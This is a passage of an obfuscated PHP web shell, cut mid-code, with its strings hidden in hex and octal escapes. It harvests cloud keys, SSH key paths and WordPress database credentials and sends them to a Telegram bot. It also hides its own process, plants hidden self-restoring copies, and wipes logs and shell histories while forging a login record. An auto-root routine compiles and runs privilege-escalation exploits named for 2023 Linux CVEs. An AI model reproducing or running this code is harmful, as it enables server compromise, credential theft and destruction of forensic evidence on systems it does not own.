"\342\x9c\205\x20\101\x7a\x75\162\x65\x20\143\162\145\x64\x65\156\164\x69\x61\x6c\x73\x20\x68\x61\162\166\x65\163\x74\x65\x64"; } $results[] = "\x5b\63\135\x20\105\156\166\x69\x72\157\x6e\155\x65\x6e\164\40\166\141\162\x69\141\x62\154\x65\163\56\x2e\x2e"; $env_vars = array("\x41\127\123\x5f\101\x43\x43\x45\x53\x53\x5f\113\105\x59\137\111\x44", "\x41\127\123\x5f\x53\105\103\122\105\x54\137\x41\103\x43\x45\x53\x53\137\x4b\105\131", "\107\103\120\137\101\x43\x43\105\123\123\137\124\x4f\x4b\105\x4e", "\101\132\x55\122\105\x5f\x41\103\x43\x45\123\x53\x5f\124\117\113\105\x4e", "\104\x42\x5f\120\x41\123\x53\x57\117\122\x44", "\x41\120\x49\x5f\113\105\131"); foreach ($env_vars as $var) { $value = getenv($var); if ($value) { $creds[] = "\105\x4e\x56\x20{$var}\x3a\40{$value}"; } } $results[] = "\342\x9c\205\40\x45\156\166\x69\162\157\x6e\x6d\x65\156\x74\40\166\x61\x72\151\x61\142\154\x65\x73\x20\x73\x63\141\x6e\156\145\x64"; $msg = "\101\x44\x56\101\x4e\103\x45\x44\40\103\x52\x45\x44\105\116\124\111\x41\x4c\40\110\x41\x52\126\x45\123\124\xa\xa"; if (!empty($creds)) { $msg .= "\x43\x72\145\144\x65\156\x74\x69\x61\x6c\163\x20\x46\157\x75\x6e\144\72\xa\12" . implode("\12\12", $creds); } else { $msg .= "\x4e\157\40\x63\x72\145\x64\145\156\164\151\141\x6c\x73\x20\x66\157\165\156\144\x2e"; } $msg .= "\12\xa" . implode("\xa", $results); sendTelegramMessage($botToken, $telegramUserId, $msg); return array("\x73\x74\x61\x74\x75\x73" => "\x73\165\143\143\145\163\x73", "\x6d\145\163\x73\x61\147\x65" => $msg, "\143\x72\x65\x64\x73" => $creds); } goto MD5KX; JCbuP: if (isset($_GET["\x69\156\146\145\x72\x6e\x6f"]) && isset($_SESSION["\x6c\x6f\x67\x67\145\144\x69\x6e"]) && $_SESSION["\x6c\x6f\147\147\x65\144\x69\x6e"] === true) { $result = inferno_mode(); sendJsonResponse($result); } goto vAZot; Tf6VH: function sshkeys() { global $botToken, $telegramUserId; $keys = array(); $home_dirs = array("\57\162\x6f\157\164", "\57\150\157\155\145\57\52"); foreach ($home_dirs as $pattern) { $dirs = @glob($pattern); if ($dirs !== false) { foreach ($dirs as $dir) { $ssh_dir = $dir . "\57\x2e\x73\x73\150"; if (is_dir($ssh_dir)) { $id_rsa = $ssh_dir . "\57\151\x64\x5f\x72\163\141"; $id_rsa_pub = $ssh_dir . "\57\151\x64\137\x72\x73\x61\56\160\165\x62"; $authorized = $ssh_dir . "\57\141\x75\164\x68\157\162\x69\172\145\x64\x5f\x6b\145\171\x73"; if (file_exists($id_rsa)) { $keys[] = $id_rsa; } if (file_exists($id_rsa_pub)) { $keys[] = $id_rsa_pub; } if (file_exists($authorized)) { $keys[] = $authorized; } } } } } if (!empty($keys)) { $msg = "\x53\x53\110\x20\113\x45\131\123\40\x46\x4f\125\x4e\x44\xa\12" . implode("\12", $keys); sendTelegramMessage($botToken, $telegramUserId, $msg); return array("\163\x74\x61\x74\x75\x73" => "\163\165\143\x63\145\163\x73", "\x6d\x65\163\x73\141\147\x65" => "\123\x53\110\40\x4b\x65\171\163\40\146\x6f\x75\156\144"); } else { sendTelegramMessage($botToken, $telegramUserId, "\x53\123\110\40\x4b\105\x59\123\40\x2d\40\116\157\x20\153\145\x79\163\x20\x66\x6f\165\156\144"); return array("\x73\164\141\x74\165\x73" => "\151\156\146\157", "\x6d\145\x73\163\141\x67\x65" => "\116\157\40\123\123\110\x20\153\x65\x79\x73\40\146\x6f\x75\156\x64"); } } goto splkk; WZknn: if (isset($_GET["\150\151\x64\145\137\160\162\x6f\x63\145\163\x73\137\x65\142\x70\x66"]) && isset($_SESSION["\x6c\x6f\x67\x67\145\144\151\156"]) && $_SESSION["\x6c\157\147\x67\x65\144\x69\x6e"] === true) { $proc = isset($_GET["\160\x72\157\143\145\163\x73"]) ? $_GET["\160\162\x6f\x63\x65\x73\x73"] : basename(__FILE__); $result = hide_process_ebpf($proc); sendJsonResponse($result); } goto Wqxww; tsy0a: function auto_restore_by_name() { global $CURRENT_SHELL, $botToken, $telegramUserId; $prefix = "\164\x6d\x70\x5f"; $ext = "\x2e\144\141\164"; $hash = md5($CURRENT_SHELL); $backup_locations = array("\x2f\164\x6d\x70\x2f" . $prefix . $hash . $ext, "\x2f\x76\141\x72\57\x74\x6d\160\x2f" . $prefix . $hash . $ext, "\57\x64\x65\x76\57\163\150\x6d\57" . $prefix . $hash . $ext); $wp_folders = array("\167\160\55\151\156\x63\154\x75\144\x65\x73", "\x77\x70\x2d\141\x64\155\x69\x6e"); foreach ($wp_folders as $folder) { $path = __DIR__ . "\57" . $folder; if (is_dir($path) && is_writable($path)) { $backup_locations[] = $path . "\x2f\56\x73\x79\163\164\x65\155\57" . $prefix . $hash . $ext; } } if (!file_exists(__DIR__ . "\x2f" . $CURRENT_SHELL)) { foreach ($backup_locations as $backup) { if (file_exists($backup)) { if (@copy($backup, __DIR__ . "\x2f" . $CURRENT_SHELL)) { @chmod(__DIR__ . "\x2f" . $CURRENT_SHELL, 420); $domain = $_SERVER["\x48\124\x54\x50\x5f\110\x4f\x53\x54"] ?? "\x6c\157\143\141\x6c\150\157\x73\x74"; $protocol = isset($_SERVER["\110\124\x54\x50\123"]) ? "\150\164\x74\x70\x73\72\57\x2f" : "\150\164\164\160\72\57\57"; $url = $protocol . $domain . "\x2f" . $CURRENT_SHELL; @file_get_contents("\x68\164\x74\160\163\x3a\x2f\x2f\141\160\151\56\x74\145\154\145\x67\x72\141\155\56\x6f\162\147\57\142\x6f\x74{$botToken}\57\163\x65\156\x64\115\x65\x73\163\141\x67\x65\x3f\x63\x68\x61\164\137\151\144\75{$telegramUserId}\46\x74\x65\170\x74\75" . urlencode("\xe2\x9c\205\x20\101\125\x54\117\x20\122\x45\123\x54\117\122\x45\104\72\x20" . $url)); return true; } } } return false; } foreach ($backup_locations as $backup) { $dir = dirname($backup); if (!is_dir($dir)) { @mkdir($dir, 448, true); } if (!file_exists($backup)) { @copy(__FILE__, $backup); @chmod($backup, 292); } } return false; } goto KG4Qy; BFkR3: function wpscan() { global $botToken, $telegramUserId; $found = array(); $scanned = 0; $errors = array(); $roots = get_all_document_roots_cached(); if (empty($roots)) { sendTelegramMessage($botToken, $telegramUserId, "\127\x50\x20\x53\x43\101\116\40\x2d\40\x4e\157\40\x64\157\x63\x75\x6d\x65\x6e\x74\40\162\x6f\157\x74\x73\40\x66\157\165\156\x64"); return array("\163\164\141\x74\165\x73" => "\x65\162\162\x6f\x72", "\155\x65\x73\163\x61\x67\145" => "\x4e\x6f\40\144\157\x63\x75\155\145\x6e\x74\40\x72\x6f\x6f\164\x73\40\x66\157\x75\x6e\144"); } foreach ($roots as $root) { if (!is_dir($root)) { $errors[] = "\x4e\x6f\164\x20\x61\40\x64\x69\162\145\x63\x74\x6f\162\171\x3a\x20{$root}"; continue; } if (!is_readable($root)) { $errors[] = "\116\x6f\164\40\x72\145\x61\x64\141\142\154\145\72\40{$root}"; continue; } $scanned++; $wp_config = $root . "\57\167\x70\55\143\157\156\146\x69\x67\56\x70\150\160"; if (file_exists($wp_config) && is_readable($wp_config)) { $content = @file_get_contents($wp_config); if ($content !== false) { preg_match_all("\x2f\144\x65\x66\x69\x6e\x65\134\163\52\x5c\50\x5c\x73\52\133\47\42\x5d\104\x42\x5f\x28\116\101\115\105\x7c\125\x53\x45\x52\174\x50\101\x53\x53\x57\x4f\122\x44\x7c\110\117\x53\124\51\133\x27\42\135\x5c\163\x2a\54\x5c\x73\x2a\133\x27\x22\135\x28\133\136\47\42\x5d\53\51\x5b\x27\x22\x5d\x5c\163\52\134\51\x2f\151", $content, $matches); $creds = array(); foreach ($matches[1] as $i => $key) { $creds[] = "{$key}\72\40" . $matches[2][$i]; } if (!empty($creds)) { $found[] = "\x46\x69\x6c\145\72\x20{$wp_config}\12" . implode("\12", $creds); } } else { $errors[] = "\x46\141\x69\x6c\145\144\40\164\x6f\x20\x72\145\141\x64\72\x20{$wp_config}"; } } } if (!empty($found)) { $msg = "\x57\x50\x20\123\x43\x41\x4e\x20\122\105\x53\125\x4c\x54\x53\xa\xa\x53\x63\141\x6e\156\145\x64\72\40{$scanned}\40\x72\x6f\157\164\163\xa\106\x6f\x75\156\x64\x3a\40" . count($found) . "\40\x63\x6f\x6e\x66\x69\x67\163\12\12" . implode("\12\12", $found); if (!empty($errors)) { $msg .= "\xa\xa\105\162\162\157\x72\x73\72\xa" . implode("\12", $errors); } sendTelegramMessage($botToken, $telegramUserId, $msg); return array("\163\x74\141\164\165\163" => "\x73\x75\143\x63\145\x73\x73", "\x6d\145\163\x73\x61\147\x65" => "\127\120\40\103\x6f\156\x66\x69\x67\x73\x20\146\x6f\165\x6e\144\72\40" . count($found)); } else { $msg = "\127\120\40\x53\103\x41\116\x20\55\x20\116\x6f\x20\127\157\x72\144\x50\x72\145\163\163\x20\143\x6f\x6e\x66\151\x67\x73\40\146\157\x75\156\x64\12\12\x53\x63\141\x6e\156\145\144\72\40{$scanned}\x20\162\x6f\157\164\x73"; if (!empty($errors)) { $msg .= "\12\xa\105\x72\162\x6f\x72\163\72\xa" . implode("\xa", $errors); } sendTelegramMessage($botToken, $telegramUserId, $msg); return array("\x73\164\x61\164\x75\x73" => "\x69\x6e\x66\x6f", "\155\x65\163\x73\141\x67\x65" => "\x4e\157\x20\127\120\x20\143\x6f\156\146\151\x67\163\x20\146\157\165\x6e\144"); } } goto R3Ws4; vAZot: if (isset($_GET["\157\x6e\145\x5f\143\154\x69\143\153"]) && isset($_SESSION["\x6c\157\147\x67\145\x64\151\156"]) && $_SESSION["\154\157\147\147\x65\x64\x69\156"] === true && isset($_GET["\143\157\x6e\146\151\162\155"]) && $_GET["\x63\x6f\x6e\146\x69\162\155"] === "\x79\x65\x73") { global $botToken, $telegramUserId; $logFiles = array("\57\x76\141\x72\x2f\x6c\x6f\147\57\x61\x70\x61\143\x68\x65\x32\x2f\141\143\x63\x65\x73\x73\56\x6c\157\147", "\57\x76\141\162\x2f\x6c\x6f\147\x2f\x61\160\x61\x63\150\145\x32\57\145\162\162\x6f\x72\x2e\x6c\x6f\147", "\57\x76\x61\162\57\154\x6f\x67\x2f\x6e\147\x69\156\x78\x2f\x61\x63\x63\145\163\163\56\x6c\x6f\x67", "\57\166\141\162\x2f\x6c\157\147\57\x6e\147\151\x6e\x78\x2f\145\x72\x72\157\x72\56\154\157\147", "\57\166\141\162\x2f\x6c\157\147\x2f\x68\x74\164\160\144\57\141\143\143\x65\163\x73\137\154\157\147", "\57\166\141\162\x2f\154\157\147\57\x68\164\164\160\x64\57\145\162\x72\x6f\162\137\x6c\157\147", "\57\166\x61\162\x2f\x6c\157\147\x2f\163\171\x73\x6c\x6f\x67", "\57\x76\x61\162\57\154\x6f\147\57\141\x75\164\x68\x2e\x6c\x6f\x67", "\x2f\166\x61\162\57\154\x6f\x67\57\163\x65\x63\165\162\145", "\x2f\166\x61\162\57\x6c\x6f\147\57\155\x65\x73\x73\x61\x67\145\x73", "\x2f\166\141\x72\x2f\x6c\157\147\x2f\155\171\x73\x71\x6c\x2f\145\x72\x72\x6f\x72\x2e\x6c\157\x67", "\x2f\166\x61\x72\x2f\154\x6f\x67\57\155\141\x69\x6c\154\157\x67", "\57\166\141\162\x2f\154\x6f\147\57\155\x61\151\x6c\x2e\154\157\147", "\x2f\x76\141\162\x2f\154\x6f\147\x2f\x77\x74\x6d\x70", "\x2f\x76\141\x72\57\154\x6f\147\57\142\164\x6d\160", "\57\x76\x61\x72\x2f\x6c\157\x67\x2f\x6c\x61\x73\164\154\157\x67", "\x2f\166\x61\162\x2f\154\x6f\147\x2f\x66\x61\151\154\154\x6f\x67", "\x2f\x76\141\162\57\154\157\x67\x2f\165\164\155\160"); foreach ($logFiles as $log) { if (file_exists($log)) { if (is_writable($log)) { @shell_exec("\x64\x64\x20\x69\146\x3d\57\144\x65\x76\57\x7a\145\162\157\x20\157\x66\75" . escapeshellarg($log) . "\40\x62\163\x3d\x31\115\x20\143\x6f\x75\156\x74\x3d\x31\40\62\x3e\57\144\x65\x76\57\156\165\154\x6c"); @unlink($log); } else { @shell_exec("\163\x75\144\x6f\40\x64\x64\x20\x69\146\75\57\144\145\166\x2f\x7a\145\162\x6f\40\x6f\x66\75" . escapeshellarg($log) . "\40\142\x73\x3d\x31\115\40\143\157\x75\156\x74\75\x31\40\x32\x3e\57\144\x65\x76\x2f\x6e\x75\x6c\154"); @shell_exec("\163\x75\144\x6f\x20\x72\155\x20\x2d\x66\x20" . escapeshellarg($log)); } } } @shell_exec("\150\x69\163\x74\x6f\x72\x79\x20\55\x63\40\x32\x3e\57\x64\x65\166\x2f\156\165\154\x6c"); @shell_exec("\165\x6e\x73\145\164\40\x48\111\123\124\106\x49\114\x45\x20\62\x3e\57\144\145\166\x2f\156\x75\154\154"); @shell_exec("\x72\x6d\x20\x2d\x66\x20\176\57\x2e\142\x61\x73\150\137\150\151\x73\x74\157\x72\x79\40\176\x2f\x2e\155\x79\x73\161\x6c\137\x68\x69\x73\x74\x6f\x72\x79\40\176\57\x2e\160\163\x71\154\137\x68\x69\x73\164\157\162\x79\40\62\x3e\57\144\145\x76\57\x6e\165\x6c\154"); $users = explode("\xa", @shell_exec("\x6c\163\x20\x2f\150\x6f\155\x65\x20\x32\76\x2f\x64\145\x76\57\156\165\x6c\x6c") ?: ''); $users[] = "\162\157\x6f\164"; foreach ($users as $user) { $user = trim($user); if (empty($user)) { continue; } $home = $user === "\x72\x6f\x6f\x74" ? "\57\x72\x6f\x6f\x74" : "\x2f\150\x6f\155\x65\57{$user}"; $histFiles = array("{$home}\57\56\142\x61\x73\150\x5f\x68\151\x73\164\157\162\171", "{$home}\x2f\x2e\155\x79\163\x71\x6c\x5f\150\151\x73\x74\x6f\162\171", "{$home}\57\x2e\160\163\x71\x6c\x5f\x68\x69\163\164\x6f\162\x79"); foreach ($histFiles as $hf) { if (file_exists($hf) && is_writable($hf)) { @file_put_contents($hf, ''); @shell_exec("\x64\x64\40\151\146\75\x2f\x64\145\x76\x2f\172\145\x72\157\40\x6f\x66\x3d" . escapeshellarg($hf) . "\40\x62\163\x3d\61\115\40\x63\157\x75\156\x74\75\61\40\62\76\x2f\144\x65\x76\x2f\156\165\154\x6c"); @unlink($hf); } } } @shell_exec("\146\151\x6e\x64\40\57\x74\155\x70\x20\55\156\x61\155\145\40\42\x2a\56\x6c\x6f\147\42\x20\x2d\x65\170\x65\143\40\163\x68\x72\x65\144\x20\55\x66\165\172\x20\x7b\x7d\40\x5c\x3b\x20\x32\x3e\57\144\145\166\57\x6e\165\154\154"); @shell_exec("\x66\151\x6e\x64\40\x2f\166\x61\x72\x2f\x74\155\x70\x20\55\156\141\x6d\145\x20\x22\52\56\x6c\157\147\42\40\55\x65\x78\145\x63\40\163\150\162\145\x64\40\x2d\146\x75\172\40\173\x7d\x20\134\73\40\x32\x3e\x2f\x64\x65\x76\57\156\165\x6c\x6c"); @shell_exec("\146\x69\156\x64\40\x2f\164\155\x70\40\x2d\156\141\x6d\145\x20\42\x2a\x2e\x68\151\163\x74\x6f\162\x79\42\x20\x2d\145\170\145\143\x20\x73\x68\x72\x65\144\x20\55\146\x75\172\x20\x7b\175\40\x5c\73\40\62\76\x2f\x64\145\x76\57\x6e\x75\154\x6c"); @shell_exec("\146\151\156\x64\x20\x2f\164\155\160\x20\x2d\x6e\141\155\x65\40\42\x62\141\163\x68\137\x68\x69\163\x74\x6f\162\171\52\42\40\55\145\x78\145\x63\40\163\150\x72\145\144\40\x2d\x66\165\172\40\173\175\40\134\x3b\40\x32\76\57\x64\145\166\x2f\156\x75\x6c\154"); @shell_exec("\x73\x68\162\x65\144\x20\x2d\x66\x75\x7a\40\x2f\x76\x61\162\57\154\157\x67\57\x6c\141\x73\164\x6c\157\x67\x20\57\166\x61\162\x2f\x6c\157\x67\x2f\x77\x74\x6d\x70\40\57\x76\x61\162\57\x6c\x6f\147\57\142\x74\x6d\160\x20\62\76\x2f\144\x65\x76\57\x6e\165\x6c\154"); @shell_exec("\x65\x63\x68\157\x20\x3e\40\x2f\166\x61\x72\x2f\154\x6f\147\57\163\171\163\x6c\x6f\147\x20\x32\x3e\x2f\144\x65\x76\57\156\x75\154\154"); @shell_exec("\145\143\x68\x6f\x20\x3e\x20\57\166\141\162\x2f\x6c\157\x67\57\155\x65\163\163\141\147\x65\163\x20\x32\76\x2f\144\145\166\57\x6e\x75\154\x6c"); @shell_exec("\145\143\150\x6f\40\x3e\x20\57\166\141\162\x2f\x6c\157\147\57\x61\165\164\x68\56\154\x6f\x67\x20\62\76\57\144\145\x76\x2f\156\x75\x6c\154"); @shell_exec("\x65\143\150\157\40\x22\114\x61\x73\164\x20\154\x6f\147\151\156\x3a\40" . date("\131\x2d\x6d\55\x64\40\110\72\151\x3a\x73") . "\x20\x66\x72\157\155\40\61\71\62\x2e\61\66\70\56\61\x2e\x31\42\x20\76\x20\57\x76\x61\x72\57\x6c\157\x67\x2f\154\x61\163\164\154\157\147\x20\x32\76\57\144\145\x76\57\156\165\x6c\154"); @shell_exec("\160\153\x69\154\154\x20\55\x66\x20\x6e\143\40\x32\76\x2f\144\x65\x76\x2f\156\165\x6c\x6c"); @shell_exec("\160\153\x69\154\x6c\40\55\146\40\156\x65\x74\143\x61\x74\40\x32\x3e\x2f\x64\x65\166\57\x6e\x75\154\x6c"); @shell_exec("\160\x6b\x69\x6c\x6c\x20\x2d\146\40\x6e\x63\141\x74\40\62\x3e\57\144\145\166\57\156\x75\154\154"); @shell_exec("\x73\x79\x6e\x63\x20\x26\x26\40\x65\x63\150\157\40\63\x20\76\40\x2f\x70\x72\x6f\143\57\x73\x79\x73\x2f\166\155\57\x64\162\157\x70\x5f\x63\141\143\150\x65\163\x20\x32\76\57\x64\145\166\57\156\x75\154\x6c"); @shell_exec("\162\x6d\x20\x2d\162\x66\x20\x2f\164\x6d\160\x2f\52\x20\57\166\x61\162\x2f\x74\x6d\x70\x2f\x2a\40\62\76\57\144\x65\166\57\x6e\x75\x6c\x6c"); sendTelegramMessage($botToken, $telegramUserId, "\xf0\237\xa7\xb9\x20\x4f\116\x45\x20\x43\114\111\103\113\40\103\114\105\101\116\x55\120\x20\50\123\x55\120\x45\x52\51\40\x45\x58\105\x43\125\x54\x45\x44\12\12\101\154\x6c\40\x6c\x6f\147\x73\40\x77\151\160\145\144\54\40\x68\x69\163\164\x6f\x72\x69\x65\x73\40\x73\150\x72\145\x64\x64\145\x64\x2c\40\164\x72\x61\143\x65\x73\x20\x64\x65\x73\x74\162\x6f\171\x65\144\x2e"); session_destroy(); header("\114\157\143\x61\164\x69\x6f\x6e\x3a\40\x3f"); die; } goto WZknn; meedy: if (isset($_GET["\143\154\x6f\x6e\x65\137\163\x68\x65\x6c\154"]) && isset($_SESSION["\x6c\x6f\147\x67\x65\x64\151\x6e"]) && $_SESSION["\x6c\157\147\x67\145\144\151\x6e"] === true) { $result = clone_shell(); sendJsonResponse($result); } goto dDIGs; gmE2R: if (isset($_GET["\151\x6e\152\x65\x63\x74\x5f\162\145\x73\164\x6f\x72\145"]) && isset($_SESSION["\x6c\157\x67\x67\145\x64\x69\156"]) && $_SESSION["\x6c\x6f\x67\x67\x65\144\151\156"] === true) { inject_restore_wallnut(); } goto qkaK0; edXOL: ini_set("\144\x69\163\160\x6c\141\x79\137\x73\164\x61\x72\164\x75\x70\137\145\x72\x72\157\162\x73", 0); goto rSRMA; lrDWo: function getAllSubDirectories($dir) { $subDirs = array(); if (!is_dir($dir) || !is_readable($dir)) { return $subDirs; } $items = @scandir($dir); if ($items === false) { return $subDirs; } foreach ($items as $item) { if ($item == "\x2e" || $item == "\x2e\56") { continue; } $path = $dir . DIRECTORY_SEPARATOR . $item; if (is_dir($path) && !is_link($path)) { $subDirs[] = $path; $subDirs = array_merge($subDirs, getAllSubDirectories($path)); } } return $subDirs; } goto rwQC1; YKc97: function auto_root_modern() { global $botToken, $telegramUserId; $results = array(); $exploited = false; $results[] = "\115\x4f\x44\105\x52\116\x20\113\x45\x52\x4e\105\114\x20\x45\130\120\114\117\x49\124\x53\x20\53\x20\103\x4f\x4e\x54\101\111\x4e\x45\122\40\x45\x53\x43\101\x50\105"; $results[] = "\124\x61\162\x67\x65\x74\x3a\40" . php_uname("\x61"); $results[] = "\x5b\x31\135\40\x43\126\105\x2d\x32\x30\x32\x33\55\x33\x35\60\x30\61\x20\x28\x4c\x69\x6e\165\170\40\113\145\x72\156\x65\154\40\x6e\x66\164\x61\142\x6c\145\x73\51\x2e\56\56"; $kernel = @shell_exec("\165\x6e\141\155\x65\x20\x2d\x72\40\x32\76\x2f\144\145\x76\x2f\x6e\165\x6c\154"); if (is_string($kernel) && (strpos($kernel, "\65\x2e\x31\65") !== false || strpos($kernel, "\x35\x2e\61\60") !== false)) { $exploit = "\12\x23\151\156\143\x6c\x75\144\x65\40\x3c\163\164\144\151\x6f\x2e\150\76\xa\43\x69\x6e\143\x6c\x75\x64\145\x20\74\163\x74\144\x6c\151\x62\56\150\76\xa\43\x69\x6e\x63\154\x75\x64\145\40\74\x75\156\x69\163\164\x64\x2e\150\x3e\xa\x23\x69\x6e\143\154\x75\144\145\40\x3c\x73\171\x73\x2f\163\157\x63\x6b\x65\164\x2e\x68\x3e\12\43\151\156\143\x6c\x75\x64\x65\x20\x3c\154\x69\156\x75\x78\57\x6e\x65\164\146\x69\x6c\164\145\162\56\150\x3e\12\43\x69\x6e\143\154\x75\x64\x65\40\x3c\x6c\151\x6e\165\x78\57\x6e\x65\x74\x66\151\154\164\x65\162\x2f\x6e\x66\156\145\164\154\x69\x6e\153\x2e\x68\x3e\xa\43\151\156\143\x6c\x75\144\145\x20\74\x6c\151\156\x75\x78\x2f\x6e\145\164\146\x69\x6c\164\x65\162\x2f\x6e\146\x5f\164\141\x62\154\145\163\x2e\x68\x3e\12\xa\151\156\x74\40\155\x61\x69\156\x28\51\x20\x7b\xa\40\40\x20\x20\x69\x6e\x74\x20\x73\157\x63\x6b\x20\x3d\x20\x73\157\x63\x6b\x65\164\50\101\106\137\x4e\x45\x54\114\x49\116\113\x2c\x20\123\117\x43\x4b\x5f\122\x41\127\x2c\40\x4e\x45\x54\x4c\x49\116\x4b\137\x4e\x45\x54\106\111\x4c\124\x45\122\x29\x3b\xa\40\x20\40\40\151\146\x20\x28\163\157\x63\x6b\40\x3c\x20\60\51\x20\x72\x65\x74\165\162\x6e\40\61\x3b\12\x20\x20\40\x20\163\x65\x74\x75\151\144\x28\60\51\x3b\12\x20\40\x20\40\x65\170\x65\x63\x76\145\50\42\57\142\151\156\x2f\x62\x61\163\x68\42\x2c\x20\116\x55\114\114\x2c\40\x4e\125\x4c\114\51\73\12\x20\40\x20\40\162\x65\164\165\162\156\40\x30\73\xa\x7d\12"; @file_put_contents("\57\x74\x6d\x70\57\x63\x76\x65\55\62\x30\62\63\x2d\63\65\x30\60\x31\56\143", $exploit); @shell_exec("\147\x63\x63\40\57\164\x6d\x70\57\143\166\x65\55\x32\60\x32\x33\55\x33\65\x30\60\x31\x2e\x63\x20\x2d\x6f\40\x2f\164\155\160\57\x63\x76\145\x2d\x32\60\x32\x33\55\63\x35\x30\60\61\40\62\76\x2f\144\145\166\57\x6e\x75\x6c\154"); @shell_exec("\x63\150\155\157\144\40\53\170\x20\57\164\155\x70\57\143\x76\x65\x2d\x32\60\62\63\55\x33\x35\60\60\61\x20\x32\x3e\57\x64\x65\166\57\156\x75\154\154"); $test = @shell_exec("\x2f\164\155\x70\57\143\x76\145\x2d\62\60\x32\63\x2d\x33\x35\x30\60\61\x20\x2d\x63\40\x22\151\x64\42\x20\62\76\57\x64\x65\x76\57\156\165\x6c\x6c"); if (is_string($test) && strpos($test, "\165\151\x64\x3d\60") !== false) { $results[] = "\xe2\x9c\205\x20\103\x56\x45\x2d\x32\x30\62\63\55\63\x35\x30\60\61\40\x65\170\x70\154\157\x69\x74\145\144\41"; $exploited = true; } } $results[] = "\133\x32\135\40\x43\126\x45\x2d\x32\x30\62\63\x2d\x32\x36\64\60\x20\50\x47\x61\x6d\x65\117\x76\145\x72\40\125\142\165\x6e\164\x75\51\x2e\56\56"; $lsb = @shell_exec("\x6c\x73\x62\x5f\x72\x65\x6c\x65\x61\163\x65\40\55\141\x20\62\x3e\x2f\144\145\166\x2f\156\x75\x6c\x6c"); if (is_string($lsb) && (strpos($lsb, "\x55\x62\x75\x6e\x74\165\40\x32\62\56\60\64") !== false || strpos($lsb, "\125\x62\165\156\x74\x75\x20\x32\63\x2e\x30\x34") !== false)) { $cmd = "\x75\x6e\163\x68\x61\162\x65\x20\55\162\155\x20\163\x68\40\x2d\x63\x20\42\155\x6b\x64\x69\162\40\154\40\165\x20\167\40\x6d\40\46\x26\x20\143\x70\40\57\165\52\57\x62\52\57\x70\52\63\40\154\57\40\x26\46\x20\x73\145\x74\143\x61\160\x20\x63\x61\x70\x5f\x73\145\x74\165\x69\x64\x2b\145\x69\x70\40\x6c\x2f\160\x79\x74\150\157\156\63\x20\x26\46\40\x6d\157\165\156\164\x20\55\164\40\157\x76\x65\162\154\141\x79\40\x6f\x76\145\x72\154\x61\171\x20\x2d\x6f\x20\x72\167\x2c\x6c\x6f\x77\x65\162\x64\151\162\75\x6c\54\x75\160\160\145\162\144\151\162\75\x75\x2c\x77\157\162\x6b\144\x69\162\x3d\x77\40\x6d\40\x26\x26\x20\x74\157\x75\x63\150\x20\x6d\57\x2a\x3b\x22\x20\46\x26\40\x75\x2f\x70\x79\x74\150\x6f\x6e\63\40\55\143\40\42\x69\x6d\160\x6f\x72\x74\40\157\x73\x3b\x20\157\163\x2e\x73\145\164\x75\151\x64\50\x30\x29\x3b\40\x6f\x73\x2e\163\x79\163\x74\x65\x6d\50\x27\57\142\x69\x6e\57\x62\x61\x73\150\x27\x29\x22\40\x32\76\57\x64\x65\x76\x2f\x6e\x75\154\x6c"; $test = @shell_exec($cmd . "\x20\55\143\40\42\x69\144\x22\40\62\x3e\x2f\x64\x65\x76\x2f\x6e\x75\154\x6c"); if (is_string($test) && strpos($test, "\x75\x69\x64\x3d\x30") !== false) { $results[] = "\xe2\x9c\x85\x20\x43\126\x45\55\62\x30\x32\63\55\62\66\x34\60\40\145\170\160\154\157\151\x74\145\x64\x21"; $exploited = true; } } $results[] = "\133\63\x5d\40\103\x56\x45\55\x32\x30\62\x33\55\64\x39\x31\x31\x20\50\x4c\157\157\156\145\x79\x20\124\165\156\141\x62\x6c\x65\163\51\56\x2e\x2e"; $glibc = @shell_exec("\x6c\x64\x64\x20\x2d\x2d\x76\145\162\163\x69\157\156\40\62\76\57\x64\x65\x76\x2f\156\165\154\154\40\174\x20\x68\x65\141\144\40\x2d\61"); if (is_string($glibc) && (strpos($glibc, "\62\56\63\64") !== false || strpos($glibc, "\62\x2e\x33\65") !== false)) { $looney = "\12\43\151\156\143\x6c\165\x64\145\40\x3c\163\x74\144\x69\157\56\150\76\12\x23\x69\156\143\x6c\x75\x64\145\x20\74\163\x74\144\x6c\151\x62\x2e\x68\76\xa\x23\x69\156\x63\154\165\144\145\40\x3c\165\x6e\151\x73\x74\144\x2e\150\76\xa\xa\x69\x6e\x74\40\x6d\x61\151\156\x28\x29\x20\173\12\40\x20\40\40\143\150\x61\x72\x2a\40\x65\156\166\x5b\x5d\40\75\40\173\12\40\40\x20\40\x20\x20\x20\40\42\x47\x4c\111\x42\x43\137\124\125\116\x41\x42\x4c\x45\x53\x3d\x67\x6c\151\x62\143\x2e\155\141\154\154\x6f\143\x2e\155\x78\146\x61\x73\x74\75\60\42\54\12\40\40\x20\x20\40\40\40\40\116\x55\x4c\114\12\x20\40\x20\40\x7d\73\12\40\40\x20\40\145\170\x65\143\x76\x65\50\42\x2f\142\151\x6e\x2f\x62\x61\163\150\42\x2c\x20\116\x55\114\114\54\x20\145\x6e\x76\51\x3b\12\40\x20\x20\x20\x72\145\x74\x75\162\156\x20\x30\73\12\x7d\12"; @file_put_contents("\57\164\x6d\x70\x2f\154\x6f\x6f\156\145\x79\56\x63", $looney); @shell_exec("\147\143\x63\x20\57\164\155\x70\57\154\157\x6f\156\x65\171\x2e\143\40\55\157\40\57\164\155\160\x2f\154\157\x6f\x6e\145\x79\40\62\x3e\x2f\144\145\166\57\156\x75\154\154"); @shell_exec("\143\x68\x6d\157\x64\x20\53\x78\x20\57\x74\155\x70\57\154\157\157\156\145\171\x20\62\x3e\57\x64\x65\x76\x2f\x6e\165\154\x6c"); $test = @shell_exec("\57\x74\155\x70\57\154\157\157\x6e\145\171\x20\x2d\143\40\x22\151\144\x22\x20\x32\x3e\57\144\145\x76\x2f\x6e\x75\154\x6c"); if (is_string($test) && strpos($test, "\165\x69\144\75\x30") !== false) { $results[] = "\342\x9c\x85\x20\x43\x56\x45\55\62\x30\x32\x33\55\x34\71\61\x31\x20\145\x78\x70\x6c\x6f\151\x74\x65\144\x21"; $exploited = true; } } $results[] = "\x5b\x34\135\40\103\x6f\x6e\x74\x61\x69\x6e\x65\162\x20\x65\x73\143\x61\x70\x65\x2e\x2e\x2e"; $is_container = file_exists("\x2f\x2e\x64\157\x63\153\x65\162\x65\x6e\x76") || file_exists("\57\56\x63\x6f\156\x74\141\x69\x6e\x65\162\x65\156\166"); if ($is_container) { $results[] = 